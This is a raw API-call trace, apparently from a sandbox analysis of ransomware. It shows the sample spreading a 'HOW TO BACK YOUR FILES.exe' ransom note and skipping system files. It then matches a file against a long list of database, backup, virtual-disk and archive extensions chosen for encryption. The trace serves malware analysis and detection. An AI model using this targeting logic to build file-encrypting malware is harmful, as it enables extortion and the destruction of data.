	[0061.692] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0061.692] CloseHandle (hObject=0x0) returned 0
	[0061.692] CloseHandle (hObject=0x0) returned 0
	[0061.692] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc022f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cc022f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.692] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.692] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc022f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cc022f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0061.692] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0061.692] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0061.692] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css"
	[0061.693] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0061.693] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0061.693] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css") returned 63
	[0061.693] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css"
	[0061.693] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.693] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.699] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3cd7f0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cd7f0b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.699] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.699] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.700] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.700] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3cd7f0b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cd7f0b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.700] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.700] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.700] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.700] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.700] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="Apollon865.txt.exe") returned 1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2=".") returned 1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="..") returned 1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="windows") returned -1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="bootmgr") returned 1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="temp") returned -1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="pagefile.sys") returned -1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="boot") returned 1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="ids.txt") returned -1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="ntuser.dat") returned -1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="perflogs") returned -1
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2="MSBuild") returned -1
	[0061.700] lstrlenW (lpString="flyout.css") returned 10
	[0061.700] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*") returned 65
	[0061.700] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="flyout.css" | out: lpString1="flyout.css") returned="flyout.css"
	[0061.700] lstrlenW (lpString="flyout.css") returned 10
	[0061.700] lstrlenW (lpString="Apollon865") returned 10
	[0061.700] lstrlenW (lpString=".dll") returned 4
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2=".dll") returned 1
	[0061.700] lstrlenW (lpString=".lnk") returned 4
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2=".lnk") returned 1
	[0061.700] lstrlenW (lpString=".ini") returned 4
	[0061.700] lstrcmpiW (lpString1="flyout.css", lpString2=".ini") returned 1
	[0061.700] lstrlenW (lpString=".sys") returned 4
	[0061.701] lstrcmpiW (lpString1="flyout.css", lpString2=".sys") returned 1
	[0061.701] lstrlenW (lpString="flyout.css") returned 10
	[0061.701] lstrlenW (lpString="bak") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="bak") returned 1
	[0061.701] lstrlenW (lpString="ba_") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="ba_") returned 1
	[0061.701] lstrlenW (lpString="dbb") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="dbb") returned -1
	[0061.701] lstrlenW (lpString="vmdk") returned 4
	[0061.701] lstrcmpiW (lpString1=".css", lpString2="vmdk") returned -1
	[0061.701] lstrlenW (lpString="rar") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="rar") returned -1
	[0061.701] lstrlenW (lpString="zip") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="zip") returned -1
	[0061.701] lstrlenW (lpString="tgz") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="tgz") returned -1
	[0061.701] lstrlenW (lpString="vbox") returned 4
	[0061.701] lstrcmpiW (lpString1=".css", lpString2="vbox") returned -1
	[0061.701] lstrlenW (lpString="vdi") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="vdi") returned -1
	[0061.701] lstrlenW (lpString="vhd") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="vhd") returned -1
	[0061.701] lstrlenW (lpString="vhdx") returned 4
	[0061.701] lstrcmpiW (lpString1=".css", lpString2="vhdx") returned -1
	[0061.701] lstrlenW (lpString="avhd") returned 4
	[0061.701] lstrcmpiW (lpString1=".css", lpString2="avhd") returned -1
	[0061.701] lstrlenW (lpString="db") returned 2
	[0061.701] lstrcmpiW (lpString1="ss", lpString2="db") returned 1
	[0061.701] lstrlenW (lpString="db2") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="db2") returned -1
	[0061.701] lstrlenW (lpString="db3") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="db3") returned -1
	[0061.701] lstrlenW (lpString="dbf") returned 3
	[0061.701] lstrcmpiW (lpString1="css", lpString2="dbf") returned -1
	[0061.702] lstrlenW (lpString="mdf") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="mdf") returned -1
	[0061.702] lstrlenW (lpString="mdb") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="mdb") returned -1
	[0061.702] lstrlenW (lpString="sql") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="sql") returned -1
	[0061.702] lstrlenW (lpString="sqlite") returned 6
	[0061.702] lstrcmpiW (lpString1="ut.css", lpString2="sqlite") returned 1
	[0061.702] lstrlenW (lpString="sqlite3") returned 7
	[0061.702] lstrcmpiW (lpString1="out.css", lpString2="sqlite3") returned -1
	[0061.702] lstrlenW (lpString="sqlitedb") returned 8
	[0061.702] lstrcmpiW (lpString1="yout.css", lpString2="sqlitedb") returned 1
	[0061.702] lstrlenW (lpString="xml") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="xml") returned -1
	[0061.702] lstrlenW (lpString="$er") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="$er") returned 1
	[0061.702] lstrlenW (lpString="4dd") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="4dd") returned 1
	[0061.702] lstrlenW (lpString="4dl") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="4dl") returned 1
	[0061.702] lstrlenW (lpString="^^^") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="^^^") returned 1
	[0061.702] lstrlenW (lpString="abs") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="abs") returned 1
	[0061.702] lstrlenW (lpString="abx") returned 3
	[0061.702] lstrcmpiW (lpString1="css", lpString2="abx") returned 1
	[0061.702] lstrlenW (lpString="accdb") returned 5
	[0061.702] lstrcmpiW (lpString1="t.css", lpString2="accdb") returned 1
	[0061.702] lstrlenW (lpString="accdc") returned 5
	[0061.702] lstrcmpiW (lpString1="t.css", lpString2="accdc") returned 1
	[0061.702] lstrlenW (lpString="accde") returned 5
	[0061.702] lstrcmpiW (lpString1="t.css", lpString2="accde") returned 1
	[0061.702] lstrlenW (lpString="accdr") returned 5
	[0061.702] lstrcmpiW (lpString1="t.css", lpString2="accdr") returned 1
	[0061.703] lstrlenW (lpString="accdt") returned 5
	[0061.703] lstrcmpiW (lpString1="t.css", lpString2="accdt") returned 1
	[0061.703] lstrlenW (lpString="accdw") returned 5
	[0061.703] lstrcmpiW (lpString1="t.css", lpString2="accdw") returned 1
	[0061.703] lstrlenW (lpString="accft") returned 5
	[0061.703] lstrcmpiW (lpString1="t.css", lpString2="accft") returned 1
	[0061.703] lstrlenW (lpString="adb") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0061.703] lstrlenW (lpString="adb") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="adb") returned 1
	[0061.703] lstrlenW (lpString="ade") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="ade") returned 1
	[0061.703] lstrlenW (lpString="adf") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="adf") returned 1
	[0061.703] lstrlenW (lpString="adn") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="adn") returned 1
	[0061.703] lstrlenW (lpString="adp") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="adp") returned 1
	[0061.703] lstrlenW (lpString="alf") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="alf") returned 1
	[0061.703] lstrlenW (lpString="ask") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="ask") returned 1
	[0061.703] lstrlenW (lpString="btr") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="btr") returned 1
	[0061.703] lstrlenW (lpString="cat") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="cat") returned 1
	[0061.703] lstrlenW (lpString="cdb") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="cdb") returned 1
	[0061.703] lstrlenW (lpString="ckp") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="ckp") returned 1
	[0061.703] lstrlenW (lpString="cma") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="cma") returned 1
	[0061.703] lstrlenW (lpString="cpd") returned 3
	[0061.703] lstrcmpiW (lpString1="css", lpString2="cpd") returned 1
	[0061.703] lstrlenW (lpString="dacpac") returned 6
	[0061.703] lstrcmpiW (lpString1="ut.css", lpString2="dacpac") returned 1
	[0061.704] lstrlenW (lpString="dad") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dad") returned -1
	[0061.704] lstrlenW (lpString="dadiagrams") returned 10
	[0061.704] lstrlenW (lpString="daschema") returned 8
	[0061.704] lstrcmpiW (lpString1="yout.css", lpString2="daschema") returned 1
	[0061.704] lstrlenW (lpString="db-journal") returned 10
	[0061.704] lstrlenW (lpString="db-shm") returned 6
	[0061.704] lstrcmpiW (lpString1="ut.css", lpString2="db-shm") returned 1
	[0061.704] lstrlenW (lpString="db-wal") returned 6
	[0061.704] lstrcmpiW (lpString1="ut.css", lpString2="db-wal") returned 1
	[0061.704] lstrlenW (lpString="dbc") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dbc") returned -1
	[0061.704] lstrlenW (lpString="dbs") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dbs") returned -1
	[0061.704] lstrlenW (lpString="dbt") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dbt") returned -1
	[0061.704] lstrlenW (lpString="dbv") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dbv") returned -1
	[0061.704] lstrlenW (lpString="dbx") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dbx") returned -1
	[0061.704] lstrlenW (lpString="dcb") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dcb") returned -1
	[0061.704] lstrlenW (lpString="dct") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dct") returned -1
	[0061.704] lstrlenW (lpString="dcx") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dcx") returned -1
	[0061.704] lstrlenW (lpString="ddl") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="ddl") returned -1
	[0061.704] lstrlenW (lpString="dlis") returned 4
	[0061.704] lstrcmpiW (lpString1=".css", lpString2="dlis") returned -1
	[0061.704] lstrlenW (lpString="dp1") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dp1") returned -1
	[0061.704] lstrlenW (lpString="dqy") returned 3
	[0061.704] lstrcmpiW (lpString1="css", lpString2="dqy") returned -1
	[0061.705] lstrlenW (lpString="dsk") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="dsk") returned -1
	[0061.705] lstrlenW (lpString="dsn") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="dsn") returned -1
	[0061.705] lstrlenW (lpString="dtsx") returned 4
	[0061.705] lstrcmpiW (lpString1=".css", lpString2="dtsx") returned -1
	[0061.705] lstrlenW (lpString="dxl") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="dxl") returned -1
	[0061.705] lstrlenW (lpString="eco") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="eco") returned -1
	[0061.705] lstrlenW (lpString="ecx") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="ecx") returned -1
	[0061.705] lstrlenW (lpString="edb") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="edb") returned -1
	[0061.705] lstrlenW (lpString="epim") returned 4
	[0061.705] lstrcmpiW (lpString1=".css", lpString2="epim") returned -1
	[0061.705] lstrlenW (lpString="fcd") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="fcd") returned -1
	[0061.705] lstrlenW (lpString="fdb") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="fdb") returned -1
	[0061.705] lstrlenW (lpString="fic") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="fic") returned -1
	[0061.705] lstrlenW (lpString="flexolibrary") returned 12
	[0061.705] lstrlenW (lpString="fm5") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="fm5") returned -1
	[0061.705] lstrlenW (lpString="fmp") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="fmp") returned -1
	[0061.705] lstrlenW (lpString="fmp12") returned 5
	[0061.705] lstrcmpiW (lpString1="t.css", lpString2="fmp12") returned 1
	[0061.705] lstrlenW (lpString="fmpsl") returned 5
	[0061.705] lstrcmpiW (lpString1="t.css", lpString2="fmpsl") returned 1
	[0061.705] lstrlenW (lpString="fol") returned 3
	[0061.705] lstrcmpiW (lpString1="css", lpString2="fol") returned -1
	[0061.705] lstrlenW (lpString="fp3") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="fp3") returned -1
	[0061.706] lstrlenW (lpString="fp4") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="fp4") returned -1
	[0061.706] lstrlenW (lpString="fp5") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="fp5") returned -1
	[0061.706] lstrlenW (lpString="fp7") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="fp7") returned -1
	[0061.706] lstrlenW (lpString="fpt") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="fpt") returned -1
	[0061.706] lstrlenW (lpString="frm") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="frm") returned -1
	[0061.706] lstrlenW (lpString="gdb") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="gdb") returned -1
	[0061.706] lstrlenW (lpString="gdb") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="gdb") returned -1
	[0061.706] lstrlenW (lpString="grdb") returned 4
	[0061.706] lstrcmpiW (lpString1=".css", lpString2="grdb") returned -1
	[0061.706] lstrlenW (lpString="gwi") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="gwi") returned -1
	[0061.706] lstrlenW (lpString="hdb") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="hdb") returned -1
	[0061.706] lstrlenW (lpString="his") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="his") returned -1
	[0061.706] lstrlenW (lpString="ib") returned 2
	[0061.706] lstrcmpiW (lpString1="ss", lpString2="ib") returned 1
	[0061.706] lstrlenW (lpString="idb") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="idb") returned -1
	[0061.706] lstrlenW (lpString="ihx") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="ihx") returned -1
	[0061.706] lstrlenW (lpString="itdb") returned 4
	[0061.706] lstrcmpiW (lpString1=".css", lpString2="itdb") returned -1
	[0061.706] lstrlenW (lpString="itw") returned 3
	[0061.706] lstrcmpiW (lpString1="css", lpString2="itw") returned -1
	[0061.706] lstrlenW (lpString="jet") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="jet") returned -1
	[0061.707] lstrlenW (lpString="jtx") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="jtx") returned -1
	[0061.707] lstrlenW (lpString="kdb") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="kdb") returned -1
	[0061.707] lstrlenW (lpString="kexi") returned 4
	[0061.707] lstrcmpiW (lpString1=".css", lpString2="kexi") returned -1
	[0061.707] lstrlenW (lpString="kexic") returned 5
	[0061.707] lstrcmpiW (lpString1="t.css", lpString2="kexic") returned 1
	[0061.707] lstrlenW (lpString="kexis") returned 5
	[0061.707] lstrcmpiW (lpString1="t.css", lpString2="kexis") returned 1
	[0061.707] lstrlenW (lpString="lgc") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="lgc") returned -1
	[0061.707] lstrlenW (lpString="lwx") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="lwx") returned -1
	[0061.707] lstrlenW (lpString="maf") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="maf") returned -1
	[0061.707] lstrlenW (lpString="maq") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="maq") returned -1
	[0061.707] lstrlenW (lpString="mar") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="mar") returned -1
	[0061.707] lstrlenW (lpString="marshal") returned 7
	[0061.707] lstrcmpiW (lpString1="out.css", lpString2="marshal") returned 1
	[0061.707] lstrlenW (lpString="mas") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="mas") returned -1
	[0061.707] lstrlenW (lpString="mav") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="mav") returned -1
	[0061.707] lstrlenW (lpString="maw") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="maw") returned -1
	[0061.707] lstrlenW (lpString="mdbhtml") returned 7
	[0061.707] lstrcmpiW (lpString1="out.css", lpString2="mdbhtml") returned 1
	[0061.707] lstrlenW (lpString="mdn") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="mdn") returned -1
	[0061.707] lstrlenW (lpString="mdt") returned 3
	[0061.707] lstrcmpiW (lpString1="css", lpString2="mdt") returned -1
	[0061.707] lstrlenW (lpString="mfd") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="mfd") returned -1
	[0061.708] lstrlenW (lpString="mpd") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="mpd") returned -1
	[0061.708] lstrlenW (lpString="mrg") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="mrg") returned -1
	[0061.708] lstrlenW (lpString="mud") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="mud") returned -1
	[0061.708] lstrlenW (lpString="mwb") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="mwb") returned -1
	[0061.708] lstrlenW (lpString="myd") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="myd") returned -1
	[0061.708] lstrlenW (lpString="ndf") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="ndf") returned -1
	[0061.708] lstrlenW (lpString="nnt") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="nnt") returned -1
	[0061.708] lstrlenW (lpString="nrmlib") returned 6
	[0061.708] lstrcmpiW (lpString1="ut.css", lpString2="nrmlib") returned 1
	[0061.708] lstrlenW (lpString="ns2") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="ns2") returned -1
	[0061.708] lstrlenW (lpString="ns3") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="ns3") returned -1
	[0061.708] lstrlenW (lpString="ns4") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="ns4") returned -1
	[0061.708] lstrlenW (lpString="nsf") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="nsf") returned -1
	[0061.708] lstrlenW (lpString="nv") returned 2
	[0061.708] lstrcmpiW (lpString1="ss", lpString2="nv") returned 1
	[0061.708] lstrlenW (lpString="nv2") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="nv2") returned -1
	[0061.708] lstrlenW (lpString="nwdb") returned 4
	[0061.708] lstrcmpiW (lpString1=".css", lpString2="nwdb") returned -1
	[0061.708] lstrlenW (lpString="nyf") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="nyf") returned -1
	[0061.708] lstrlenW (lpString="odb") returned 3
	[0061.708] lstrcmpiW (lpString1="css", lpString2="odb") returned -1
	[0061.709] lstrlenW (lpString="odb") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="odb") returned -1
	[0061.709] lstrlenW (lpString="oqy") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="oqy") returned -1
	[0061.709] lstrlenW (lpString="ora") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="ora") returned -1
	[0061.709] lstrlenW (lpString="orx") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="orx") returned -1
	[0061.709] lstrlenW (lpString="owc") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="owc") returned -1
	[0061.709] lstrlenW (lpString="p96") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="p96") returned -1
	[0061.709] lstrlenW (lpString="p97") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="p97") returned -1
	[0061.709] lstrlenW (lpString="pan") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="pan") returned -1
	[0061.709] lstrlenW (lpString="pdb") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="pdb") returned -1
	[0061.709] lstrlenW (lpString="pdm") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="pdm") returned -1
	[0061.709] lstrlenW (lpString="pnz") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="pnz") returned -1
	[0061.709] lstrlenW (lpString="qry") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="qry") returned -1
	[0061.709] lstrlenW (lpString="qvd") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="qvd") returned -1
	[0061.709] lstrlenW (lpString="rbf") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="rbf") returned -1
	[0061.709] lstrlenW (lpString="rctd") returned 4
	[0061.709] lstrcmpiW (lpString1=".css", lpString2="rctd") returned -1
	[0061.709] lstrlenW (lpString="rod") returned 3
	[0061.709] lstrcmpiW (lpString1="css", lpString2="rod") returned -1
	[0061.709] lstrlenW (lpString="rodx") returned 4
	[0061.710] lstrcmpiW (lpString1=".css", lpString2="rodx") returned -1
	[0061.710] lstrlenW (lpString="rpd") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="rpd") returned -1
	[0061.710] lstrlenW (lpString="rsd") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="rsd") returned -1
	[0061.710] lstrlenW (lpString="sas7bdat") returned 8
	[0061.710] lstrcmpiW (lpString1="yout.css", lpString2="sas7bdat") returned 1
	[0061.710] lstrlenW (lpString="sbf") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="sbf") returned -1
	[0061.710] lstrlenW (lpString="scx") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="scx") returned -1
	[0061.710] lstrlenW (lpString="sdb") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="sdb") returned -1
	[0061.710] lstrlenW (lpString="sdc") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="sdc") returned -1
	[0061.710] lstrlenW (lpString="sdf") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="sdf") returned -1
	[0061.710] lstrlenW (lpString="sis") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="sis") returned -1
	[0061.710] lstrlenW (lpString="spq") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="spq") returned -1
	[0061.710] lstrlenW (lpString="te") returned 2
	[0061.710] lstrcmpiW (lpString1="ss", lpString2="te") returned -1
	[0061.710] lstrlenW (lpString="teacher") returned 7
	[0061.710] lstrcmpiW (lpString1="out.css", lpString2="teacher") returned -1
	[0061.710] lstrlenW (lpString="tmd") returned 3
	[0061.710] lstrcmpiW (lpString1="css", lpString2="tmd") returned -1
